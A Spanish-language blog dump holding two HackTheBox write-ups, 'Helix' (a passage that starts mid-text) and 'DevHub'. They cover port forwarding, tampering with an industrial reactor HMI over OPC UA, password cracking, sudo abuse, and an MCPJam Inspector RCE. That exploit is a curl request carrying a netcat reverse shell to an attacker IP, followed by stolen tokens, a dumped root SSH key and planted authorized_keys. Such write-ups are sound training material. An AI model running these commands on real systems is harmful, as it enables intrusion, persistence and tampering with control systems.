tcp LISTEN 0 50 [::ffff:127.0.0.1]:39831 *:* users:((\u0026#34;java\u0026#34;,pid=1008,fd=57)) El 38733 y el 39831 no devuelven nada, y el 8080 es Nifi hosteado en localhost también.\nLos únicos que quedan y que no son del user java son el 8081 y el 4840.\nSi probamos con el 4840, veremos que no devuelve nada, da timeout. Así que el único restante es el 8081.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 nifi@helix:/tmp$ curl localhost:8081 \u0026lt;!doctype html\u0026gt;\u0026lt;html\u0026gt;\u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Helix HMI — Reactor Panel\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body ... [SNIP]... small{opacity:.75} hr{border:0;border-top:1px solid #233045;margin:12px 0} \u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Helix Industries — Reactor HMI\u0026lt;/h1\u0026gt; \u0026lt;small\u0026gt;Maintenance window is NOT the same as MAINTENANCE mode. Window opens only when safety controller authorizes it under hazardous test conditions.\u0026lt;/small\u0026gt; \u0026lt;hr\u0026gt; ... \u0026lt;p\u0026gt;\u0026lt;small\u0026gt;OPC UA (internal): \u0026lt;code\u0026gt;opc.tcp://127.0.0.1:4840/helix/\u0026lt;/code\u0026gt;\u0026lt;/small\u0026gt;\u0026lt;/p\u0026gt; ... Al parecer es el panel de control de un reactor. Para acceder al puerto 8081 tenemos que hacer local port forwarding, y como no tenemos credenciales SSH ni podemos crear claves porque el directorio $HOME de nifi no existe, tenemos que usar socat.\nSi subimos el binario de kali, al intentar ejecutarlo veremos que no están las librerías necesarias:\n1 2 3 nifi@helix:/tmp/cosa$ ./socat TCP4-LISTEN:4444,fork,reuseaddr TCP4:127.0.0.1:8081 ./socat: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.42\u0026#39; not found (required by ./socat) ./socat: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38\u0026#39; not found (required by ./socat) Así que necesitamos un binario linkado estáticamente, como este.\nAhora sí lo ejecutamos y funciona:\n1 2 nifi@helix:/tmp/cosa$ ./socat TCP4-LISTEN:4446,fork,reuseaddr TCP4:127.0.0.1:8081 \u0026amp; # No dice nada, eso es que funciona. Ahora vamos a helix.htb:4446: Vemos que se trata del panel de control (HMI, Interfaz Humano-Máquina) de un reactor de fusión nuclear. Además, pone \u0026ldquo;Maintenance window is NOT the same as MAINTENANCE mode. Window opens only when safety controller authorizes it under hazardous test conditions.\u0026rdquo;. No sabemos qué es el modo mantenimiento, pero es posible que nos sea de utilidad llegar a él. Se indica que tal modo privilegiado (en la ventana de abajo) se activa cuando la temperatura es mayor o igual a 295ºC o la presión es mayor o igual a 73 bar.\nOPC UA # Se nos indica la url opc.tcp://127.0.0.1:4840/helix/ para acceder al \u0026ldquo;OPC UA\u0026rdquo;, que no tengo ni idea de qué es, así que lo buscamos.\nTras una búsqueda, veo esto:\nOPC UA es el estándar de comunicación más usado en la industria real (fábricas, centrales eléctricas, robótica). Es el idioma común que permite que sensores, PLCs y paneles de control hablen entre sí.\nEl prefijo opc.tcp indica que se usa un protocolo binario dedicado más rápido que HTTP para mandar datos. En esta máquina, el panel de control se conecta por detrás al servidor OPC UA para recibir los datos de control que muestra.\nAdemás, los servidores OPC UA no tienen rutas como un servidor HTTP, sino que usan un árbol de nodos. Para visualizar e interactuar con dicho árbol, una herramienta gráfica útil es UaExpert, pero para descargarla hay que crear una cuenta en Unified Automation, y me da pereza, así que una alternativa es FreeOpcUa Client (opcua-client), gratis y de código abierto.\nDicho esto, port-forwardeamos el puerto 4840:\n1 ./socat TCP4-LISTEN:4841,fork,reuseaddr TCP4:127.0.0.1:4840 \u0026amp; Y ahora, descargamos y abrimos opcua-client:\n1 2 3 4 5 6 $ pip install opcua-client ... Installing collected packages: sortedcontainers,...[snip]... opcua-client Successfully installed PyQt5-5.15.11 ...[snip]... typing-extensions-4.15.0 $ opcua-client Y se abrirá lo siguiente: Ahora ponemos opc.tcp://helix.htb:4841/helix/ y pulsamos en Connect, veremos lo siguiente:\nPara activar el modo emergencia, podemos poner, como indicaba la página, TestOverride a true (en Root -\u0026gt; Objects -\u0026gt; Plant -\u0026gt; Control) para intentar conseguir el modo test.\nPodríamos intentar modificar la temperatura o la presión, pero además de no tener permisos, los sensores reales sobrescriben este valor todo el rato, así que no duraría mucho. Ahora bien, si nos fijamos, vemos que el primer elemento de Reactor es CalibrationOffset, y en el panel del reactor parece indicarse que la temperatura actual se calcula como la suma de TemperatureRaw (no modificable) y CalibrationOffset (a 0 normalmente, modificable). Si cambiamos este segundo para que Temperature supere los 295ºC, podremos conseguir acceso a la ventana privilegiada.\nPara ello, lo ponemos a, p.ej, 15ºC.\nEl problema es que aún habiendo cambiado esto, seguimos sin poder acceder a la ventana:\nTenemos que poner MODE en \u0026ldquo;MAINTENANCE`, como se nos indicaba en el texto de la página. Una vez puesto, tenemos lo siguiente:\nAunque ponga open, no aparece nada en la ventana.\nSi nos fijamos, cuando la ventana estaba cerrada, ponía: \u0026ldquo;No maintenance window file present.\u0026rdquo;, así que posiblemente tengamos que colocar un archivo en algún lugar para que se muestre aquí, tal lugar podría ser /opt/helix. El problema de esto es que no tenemos permisos de escritura (ni de lectura) ahí, así que de algún modo tenemos que conseguirlos.\nBuscando credenciales # Pasadas varias (muchas) horas intentando descifrar de otras formas la contraseña conseguida antes (por si lo había hecho mal, porque no era muy fácil encontrar cómo cifraba/descifraba las contraseñas NiFi) y buscando posibles formas de conseguir la contraseña de operator manualmente, me doy por vencido y ejecuto LinPEAS.\nEncuentra varias cosas:\n1 2 3 4 5 Active timers: NEXT LEFT LAST PASSED UNIT ACTIVATES Tue 2026-06-02 14:33:23 UTC 4min 24s left Tue 2026-06-02 14:28:23 UTC 35s ago helix-cleanup.timer helix-cleanup.service ... Services with writable paths? . nifi.service: /opt/nifi-1.21.0/bin/nifi.sh (from ExecStart=/opt/nifi-1.21.0/bin/nifi.sh start) Pero ninguna relevante. Pasado todavía más rato, pruebo a buscar backups, logs, claves ssh, etc.:\n1 2 3 nifi@helix:/opt/nifi-1.21.0$ find / -iname \u0026#34;*id_*\u0026#34; 2\u0026gt;/dev/null | grep -iE \u0026#39;rsa|ed25519\u0026#39; /usr/src/linux-headers-5.15.0-164-generic/include/config/HID_CORSAIR /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak Y encontramos la clave SSH de operator. La copiamos y pegamos:\n1 2 3 4 5 6 $ ssh operator@helix.htb -i operatorkey Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64) ... Last login: Tue Jun 2 14:56:14 2026 from 10.10.16.82 operator@helix:~$ Volviendo como operator # Ahora que somos operator, primero echamos un vistazo en nuestro directorio /home. Ahí encontramos una imagen que explica el funcionamiento de OPC UA del reactor (que nosotros ya habíamos deducido). También encontramos un pdf que nos pide contraseña, así que lo pasamos a john para ver si es posible crackearla.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ scp -i operatorkey operator@helix.htb:\u0026#34;/home/operator/Operator\\ Control\\ \u0026amp;\\ Safety\\ Guide.pdf\u0026#34; ./op.pdf Operator Control \u0026amp; Safety Guide.pdf $ pdf2john op.pdf \u0026gt; hash $ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64]) Cost 1 (revision) is 6 for all loaded hashes Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status operator1 (op.pdf) 1g 0:00:00:23 DONE (2026-06-02 11:07) 0.04222g/s 11156p/s 11156c/s 11156C/s orphee..nsyncrox Use the \u0026#34;--show --format=PDF\u0026#34; options to display all of the cracked passwords reliably Session completed. Y tenemos la contraseña operator1 para el pdf. Tras verlo, es simplemente un manual de cómo funciona todo el mecanismo del reactor y que explica cómo activar el modo mantenimiento. No dice nada nuevo.\nDentro del directorio /home de operator, también encontramos una serie de binarios para interactuar con OPC UA en .local/bin\n1 2 operator@helix:~/.local/bin$ ls uabrowse uacall uaclient uadiscover uageneratestructs uahistoryread uals uaread uaserver uasubscribe uawrite Pero parecen servir para lo mismo para lo que usábamos opcua-client.\nSi ejecutamos sudo -l:\n1 2 3 4 5 6 operator@helix:/$ sudo -l Matching Defaults entries for operator on helix: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-console helix-maint-console, la consola de mantenimiento de helix, y podemos ejecutarla como root, mediante la que posiblemente consigamos escalar privilegios. Ahora que sabemos esto, sí que tiene un propósito definido el activar el modo mantenimiento.\nVamos a opcua-client y activamos todo, Mode:MAINTENANCE, TestOverride:True, CalibrationOffset:14.\nAhora ejecutamos la consola de mantenimiento:\n1 2 3 4 5 operator@helix:/$ sudo /usr/local/sbin/helix-maint-console [+] Privileged maintenance access granted [!] Window expires in 106 seconds [!] Session will be terminated automatically root@helix:/# Pero al parecer el shell morirá automáticamente en 100 segundos, así que rápidamente creamos un vector de escalada estable, como copiar el authorized_keys de operator al de root para poder iniciar sesión con la clave privada de operator:\n1 2 3 4 root@helix:/# cat /home/operator/.ssh/authorized_keys \u0026gt;\u0026gt; ~/.ssh/authorized_keys ... # Nos saca de la sesión poco después root@helix:/# /usr/local/sbin/helix-maint-console: line 36: 103789 Killed systemd-run --quiet --scope --unit=\u0026#34;$SCOPE\u0026#34; --property=KillMode=control-group --property=SendSIGHUP=yes /bin/bash -p -i Ahora, desde nuestra máquina:\n1 2 3 4 5 6 $ ssh root@helix.htb -i operatorkey Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64) ... Last login: Tue Jun 2 15:43:14 2026 from 10.10.16.82 root@helix:~# Y, finalmente, tenemos root.\n","date":"2 de junio de 2026","externalUrl":null,"permalink":"/writeups/helix/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Enum. de subdominios, Apache NiFi, CVE Público, OPC UA, Clave privada, Cracking de contraseñas, Privilegios sudo","title":"HackTheBox - Helix","type":"writeups"},{"content":"Máquinas y challenges de dificultad media o equivalente.\n","date":"2 de junio de 2026","externalUrl":null,"permalink":"/tags/medium/","section":"Tags","summary":"Máquinas y challenges de dificultad media o equivalente.\n","title":"Medium","type":"tags"},{"content":"","date":"2 de junio de 2026","externalUrl":null,"permalink":"/tags/nginx/","section":"Tags","summary":"","title":"Nginx","type":"tags"},{"content":"","date":"2 de junio de 2026","externalUrl":null,"permalink":"/tags/nifi/","section":"Tags","summary":"","title":"NiFi","type":"tags"},{"content":"","date":"2 de junio de 2026","externalUrl":null,"permalink":"/tags/opc-ua/","section":"Tags","summary":"","title":"OPC UA","type":"tags"},{"content":"","date":"2 de junio de 2026","externalUrl":null,"permalink":"/tags/pdf/","section":"Tags","summary":"","title":"Pdf","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. 2.5h Datos Iniciales: 10.129.9.165 Enumeración # Hacemos un escaneo de puertos, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 $ sudo nmap -sT -Pn -p- 10.129.9.165 # Encuentra 22,80,6274 $ sudo nmap -sT -Pn -p22,80,6274 10.129.9.165 -sVC # Indica Did not follow redirect to http://devhub.htb/. Lo añadimos a /etc/hosts $ sudo nmap -sT -Pn -p22,80,6274 devhub.htb -sVC PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA) |_ 256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DevHub - Internal Development Platform |_http-server-header: nginx/1.18.0 (Ubuntu) 6274/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 200 OK | access-control-allow-credentials: true | content-length: 466 | content-type: text/html; charset=utf-8 | vary: Origin | Date: Sun, 31 May 2026 17:37:44 GMT | Connection: close | \u0026lt;!doctype html\u0026gt; | \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; | \u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/svg+xml\u0026#34; href=\u0026#34;/mcp_jam.svg\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34; /\u0026gt; | \u0026lt;title\u0026gt;MCPJam Inspector\u0026lt;/title\u0026gt; | \u0026lt;script type=\u0026#34;module\u0026#34; crossorigin src=\u0026#34;/assets/index-DRYhT9Xb.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; | \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; crossorigin href=\u0026#34;/assets/index-XvFRNbCs.css\u0026#34;\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;div id=\u0026#34;root\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; | \u0026lt;/body\u0026gt; | \u0026lt;/html\u0026gt; | HTTPOptions, RTSPRequest: | HTTP/1.1 204 No Content | access-control-allow-credentials: true | access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH | vary: Origin | content-type: text/plain; charset=UTF-8 | Date: Sun, 31 May 2026 17:37:44 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port6274-TCP:V=7.99%I=7%D=5/31%Time=6A1C71E8%P=x86_64-pc-linux-gnu%r(Ge ...[SNIP]... SF:x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP 22/tcp (OpenSSH 8.9p1): Vulnerable a RegreSSHion pero difícilmente explotable. 80/tcp (nginx 1.18.0): Algunas vulnerabilidades pero no relevantes. 6274/tcp (unknown, pero http): Aunque nmap no sabe qué servicio es, el archivo de icono mcp_jam.svg indica que puede tratase de algo relacionado con MCPJam, como MCPJam Inspector, cuyo Github también indica que usa el puerto 6274. HTTP # Página principal # Al entrar, encontramos una página de inicio que explica brevemente la infraestructura del servidor.\nMCP Inspector en el puerto 6274 Un servicio (posiblemente Jupyter Notebook) interno en el 8888. Un servidor Git interno para control de versiones. Además, indica tecnologías: Node.js, Python3, Jupyter y MCP, y que se usa Ubuntu 24.04.\nSi enumeramos directorios, no encontramos nada relevante. Si enumeramos vhosts, tampoco vemos nada. Así que aunque hemos encontrado información útil, la página poco más puede darnos.\nMCPJam # Entramos a la página del puerto 6274 y encontramos un servidor MCPJam. Si vamos a Settings, vemos que pone MCPJam Version: v1.4.2. Buscamos esta versión (que ya aparecía en otra máquina de la liga pasada) para ver si tiene vulnerabilidades, y encontramos lo siguiente:\nCVE-2026-23744: MCPJam Inspector en sus versiones 1.4.2 y anteriores expone su API interna a 0.0.0.0 en lugar de a localhost. Además, como no comprueba autorización, cualquier atacante puede conseguir RCE con una solicitud HTTP simple. 1 curl -k http://devhub.htb:6274/api/mcp/connect --header \u0026#34;Content-Type: application/json\u0026#34; --data \u0026#34;{\\\u0026#34;serverConfig\\\u0026#34;:{\\\u0026#34;command\\\u0026#34;:\\\u0026#34;/bin/sh\\\u0026#34;,\\\u0026#34;args\\\u0026#34;:[\\\u0026#34;-c\\\u0026#34;, \\\u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.66 4444 \u0026gt;/tmp/f\\\u0026#34;],\\\u0026#34;env\\\u0026#34;:{}},\\\u0026#34;serverId\\\u0026#34;:\\\u0026#34;mytest\\\u0026#34;}\u0026#34; Y desde el handler:\n1 2 3 4 5 6 7 8 9 $ penelope -i 10.10.14.66 [+] Listening for reverse shells on 10.10.14.66:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from devhub~10.129.9.165-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ───────────────────────────────────────────────────────────────────── mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ Privesc hacia analyst # Una vez estamos dentro como el usuario mcp-dev, echamos un vistazo al servidor.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 mcp-dev@devhub:~$ ls -al total 28 drwxr-x--- 4 mcp-dev mcp-dev 4096 May 27 12:22 . drwxr-xr-x 4 root root 4096 Mar 16 21:25 .. -rw------- 1 mcp-dev mcp-dev 0 May 27 12:22 .bash_history -rw-r--r-- 1 mcp-dev mcp-dev 220 Jan 6 2022 .bash_logout -rw-r--r-- 1 mcp-dev mcp-dev 3771 Jan 6 2022 .bashrc drwx------ 2 mcp-dev mcp-dev 4096 May 26 08:42 .cache lrwxrwxrwx 1 root root 9 Jan 23 15:37 .lesshst -\u0026gt; /dev/null lrwxrwxrwx 1 root root 9 Jan 23 15:37 .node_repl_history -\u0026gt; /dev/null drwxrwxr-x 4 mcp-dev mcp-dev 4096 Jan 22 14:56 .npm -rw-r--r-- 1 mcp-dev mcp-dev 807 Jan 6 2022 .profile lrwxrwxrwx 1 root root 9 Jan 23 15:37 .python_history -\u0026gt; /dev/null lrwxrwxrwx 1 root root 9 Jan 23 15:37 .viminfo -\u0026gt; /dev/null La user flag no está en el /home de mcp-dev, así que tendremos que escalar privilegios hacia otro usuario.\n1 2 mcp-dev@devhub:~$ ls /home/ analyst mcp-dev Y parece que nuestro objetivo es analyst.\nSi recordamos la página principal, esta nos indicaba que había un servidor Jupyter interno en localhost:8888, usado para analíticas. Parece bastante probable que haya que ir por ahí. Además el propio Jupyter Notebook suele proporcionar un shell al sistema operativo (si está configurado para permitirlo).\nPort Forwarding # Antes de nada, tenemos que hacer port forwarding para poder entrar porque Jupyter funciona por GUI, pero no tenemos acceso SSH. Podemos usar chisel o configurar una clave, probamos con la segunda antes.\n1 2 3 4 5 6 7 8 9 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./mcp-dev Enter passphrase for \u0026#34;./mcp-dev\u0026#34; (empty for no passphrase): Enter same passphrase again: ... cat mcp-dev.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA... 1 2 # Ahora la pegamos en authorized_keys mcp-dev@devhub:~$ echo \u0026#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA...[SNIP]...\u0026#39; \u0026gt;\u0026gt; ~/.ssh/authorized_keys Probamos a conectarnos.\n1 2 3 4 5 $ ssh mcp-dev@devhub.htb -i mcp-dev Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64) ... mcp-dev@devhub:~$ Y funciona, así que a seguir.\nAhora miramos qué puertos hay abiertos y comprobamos si efectivamente el 8888 está activo.\n1 2 3 4 5 $ netstat -tunlp | grep 127.0.0.1 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN - Tenemos 2, el 5000 (\u0026ldquo;OPSMCP\u0026rdquo;, un server custom alojado en /opt/opsmcp/server.py, propiedad de Analyst, no tenemos acceso) y el 8888, Jupyter. El puerto interno de MCP de momento de poco nos sirve, así que hacemos solo port forwarding del 8888.\n1 $ ssh -fN -L 8888:localhost:8888 mcp-dev@devhub.htb -i mcp-dev Jupyter Notebook # Una vez tenemos todo listo, entramos a Jupyter.\nAquí, vemos que se nos pide un token o contraseña para iniciar sesión. Podríamos buscar algún tipo de configuración de Jupyter en el servidor, pero no hay nada a lo que tengamos acceso, ni siquiera el binario es accesible a nuestro usuario.\n1 2 mcp-dev@devhub:~$ find / -iname \u0026#34;jupyter\u0026#34; 2\u0026gt;/dev/null # Nada Ahora bien, tras una búsqueda en Internet, veo que sí es posible enumerar la versión de Jupyter a través de su API, lo que podría llevarnos a alguna posible vulnerabilidad que nos ahorre el buscar el token.\n1 2 $ curl http://localhost:8888/api {\u0026#34;version\u0026#34;: \u0026#34;2.17.0\u0026#34;} Y vemos que la versión es la 2.17.0. Si la buscamos, veremos que tiene varias vulnerabilidades:\nCVE-2026-40934: Evasión de autenticación tras restablecimiento de contraseña. El problema es que necesitamos tener una contraseña de antes, así que no es nuestro caso. CVE-2026-35397: Path traversal cuando un usuario ya está autenticado. De momento no nos sirve (Y otras dos no relevantes.)\nNo podemos hacer mucho, no podemos iniciar sesión mediante una vulnerabilidad. Tenemos que buscar un token.\nAhora bien, como podemos imaginar que Jupyter es un servicio que se inicia cada vez que arranca el sistema, es probable que haya un daemon custom en /etc/systemd/system, que es donde suelen ponerse.\nSi echamos un ojo:\n1 2 3 4 5 6 7 8 9 $ ls /etc/systemd/system cloud-final.service.wants final.target.wants multipath-tools.service sleep.target.wants snap.lxd.daemon.service sysinit.target.wants dbus-org.freedesktop.ModemManager1.service getty.target.wants netfilter-persistent.service.d snap-core20-2686.mount snap.lxd.daemon.unix.socket syslog.service dbus-org.freedesktop.resolve1.service graphical.target.wants network-online.target.wants snap-core20-2866.mount snap.lxd.user-daemon.service systemd-networkd.service dbus-org.freedesktop.thermald.service iscsi.service oem-config.service.wants snap-lxd-36918.mount snap.lxd.user-daemon.unix.socket timers.target.wants dbus-org.freedesktop.timesync1.service jupyter.service open-vm-tools.service.requires snap-lxd-38469.mount snapd.mounts.target.wants vmtoolsd.service devhub-startup.service mcpjam.service opsmcp.service snap-snapd-25935.mount sockets.target.wants display-manager.service.wants mdmonitor.service.wants paths.target.wants snap-snapd-26865.mount sshd.service emergency.target.wants multi-user.target.wants rescue.target.wants snap.lxd.activate.service sudo.service Quinta fila, segunda columna: jupyter.service.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mcp-dev@devhub:~$ cat /etc/systemd/system/jupyter.service [Unit] Description=Jupyter Notebook Server After=network.target [Service] Type=simple User=analyst WorkingDirectory=/home/analyst Environment=PATH=/home/analyst/jupyter-env/bin:/usr/local/bin:/usr/bin:/bin Environment=JUPYTER_TOKEN=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 ExecStart=/home/analyst/jupyter-env/bin/jupyter lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=\u0026#39;a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7\u0026#39; --ServerApp.password=\u0026#39;\u0026#39; --ServerApp.allow_origin=\u0026#39;\u0026#39; --ServerApp.disable_check_xsrf=False Restart=always RestartSec=10 [Install] WantedBy=multi-user.target Y ahí tenemos el token que buscábamos. Ahora iniciamos sesión con él, y al entrar vemos lo siguiente.\nY efectivamente tenemos una terminal disponible. Si la abrimos, veremos que ya somos analyst. Ahora solo hay que conseguir una algo más práctica, por ejemplo configurando analyst por ssh.\n1 2 3 analyst@devhub:~$ mkdir .ssh analyst@devhub:~$ cd .ssh/ analyst@devhub:~/.ssh$ nano authorized_keys # Añadimos la misma clave de antes Y desde SSH iniciamos sesión.\n1 2 3 4 5 $ ssh analyst@devhub.htb -i mcp-dev Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64) ... analyst@devhub:~$ Privesc hacia root # Antes habíamos mencionado levemente el puerto localhost:5000 porque no nos era útil. Era un servidor escrito en python cuyo código fuente estaba alojado en /opt/opsmcp/server.py, y era propiedad de Analyst. Ahora probablemente nos sea de utilidad.\nSi lo abrimos, vemos lo siguiente:\n1 2 3 4 5 6 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; OPSMCP - Operations MCP Server Internal tool for system operations management \u0026#34;\u0026#34;\u0026#34; ... Es una herramienta para gestionar \u0026ldquo;operaciones\u0026rdquo; del sistema. Dentro del código podemos ver varias herramientas.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # Registered tools (visible) VISIBLE_TOOLS = { \u0026#34;ops.system_status\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Get system status and health metrics\u0026#34;, \u0026#34;parameters\u0026#34;: {} }, \u0026#34;ops.list_services\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;List running services\u0026#34;, \u0026#34;parameters\u0026#34;: {} }, \u0026#34;ops.check_disk\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Check disk usage\u0026#34;, \u0026#34;parameters\u0026#34;: {} }, \u0026#34;ops.view_logs\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;View recent system logs\u0026#34;, \u0026#34;parameters\u0026#34;: {\u0026#34;service\u0026#34;: \u0026#34;string\u0026#34;} } } # Hidden tools (not in /tools/list but callable) HIDDEN_TOOLS = { \u0026#34;ops._admin_dump\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Emergency credential dump - INTERNAL ONLY\u0026#34;, \u0026#34;parameters\u0026#34;: {\u0026#34;target\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;confirm\u0026#34;: \u0026#34;boolean\u0026#34;} }, \u0026#34;ops._debug_mode\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Enable debug mode\u0026#34;, \u0026#34;parameters\u0026#34;: {} } } Y bastantes credenciales:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # API Key for authentication VALID_API_KEY = \u0026#34;opsmcp_secret_key_4f5a6b7c8d9e0f1a\u0026#34; ...[SNIP]... # Contraseñas de usuarios \u0026#34;dump\u0026#34;: { \u0026#34;root\u0026#34;: \u0026#34;$6$rounds=656000$saltsalt$hashedpassword\u0026#34;, \u0026#34;analyst\u0026#34;: \u0026#34;JupyterN0tebook!2026\u0026#34;, \u0026#34;mcp-dev\u0026#34;: \u0026#34;Mcp!Insp3ct0r2026\u0026#34; } ... # API Tokens \u0026#34;api_tokens\u0026#34;: { \u0026#34;admin_token\u0026#34;: \u0026#34;opsmcp_admin_7f3b9c2d1e4f5a6b\u0026#34;, \u0026#34;service_token\u0026#34;: \u0026#34;opsmcp_svc_8c9d0e1f2a3b4c5d\u0026#34; } Aunque la contraseña de root aparece como placeholder, en teoría el código puede hacer varias cosas cuando solicitamos el endpoint oculto ops._admin_dump:\nDumpear la clave privada ssh de root Dumpear credenciales de usuarios. Así que, si es posible, vamos primero a por la clave privada. Para ello hay que mandar una solicitud POST con name ops._admin_dump, y un bloque anidado \u0026ldquo;arguments\u0026rdquo; que tenga confirm true y target ssh_keys.\n1 2 analyst@devhub:/opt/opsmcp$ curl -H \u0026#39;X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a\u0026#39; localhost:5000/tools/call -X POST -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;ops._admin_dump\u0026#34;, \u0026#34;arguments\u0026#34;: {\u0026#34;confirm\u0026#34;:true, \u0026#34;target\u0026#34;:\u0026#34;ssh_keys\u0026#34;}}\u0026#39; {\u0026#34;note\u0026#34;:\u0026#34;Emergency recovery key dump\u0026#34;,\u0026#34;root_private_key\u0026#34;:\u0026#34;-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXkt...[SNIP]...9vdEBkZXZodWI=\\n-----END OPENSSH PRIVATE KEY-----\\n\u0026#34;,\u0026#34;target\u0026#34;:\u0026#34;ssh_keys\u0026#34;} Y ya tenemos la clave, aunque nos la ha pasado sustituyendo todos los saltos de línea por \\n y dentro de un bloque JSON. Estaría mejor conseguirla limpia directamente.\nPara ello hacemos un port forwarding primero, y luego hacemos la solicitud y la limpiamos.\n1 2 3 $ ssh -fN -L 5000:localhost:5000 analyst@devhub.htb -i mcp-dev $ curl -s -H \u0026#39;X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a\u0026#39; localhost:5000/tools/call -X POST -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;ops._admin_dump\u0026#34;, \u0026#34;arguments\u0026#34;: {\u0026#34;confirm\u0026#34;:true, \u0026#34;target\u0026#34;:\u0026#34;ssh_keys\u0026#34;}}\u0026#39; | jq | grep root | sed \u0026#39;s/\\\\n/\\n/g\u0026#39; \u0026gt; rootkey La clave que tengamos en rootkey hay que limpiarla un poco (quitarle \u0026quot;root_private_key\u0026quot;: \u0026quot; al inicio y comillas al final), pero con eso estará lista.\nUna vez limpia, le cambiamos los permisos e intentamos iniciar sesión para ver si funciona.\n1 2 3 4 5 6 7 $ chmod 700 rootkey $ ssh root@devhub.htb -i rootkey Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64) ... root@devhub:~# whoami root Y tenemos root.\n","date":"31 de mayo de 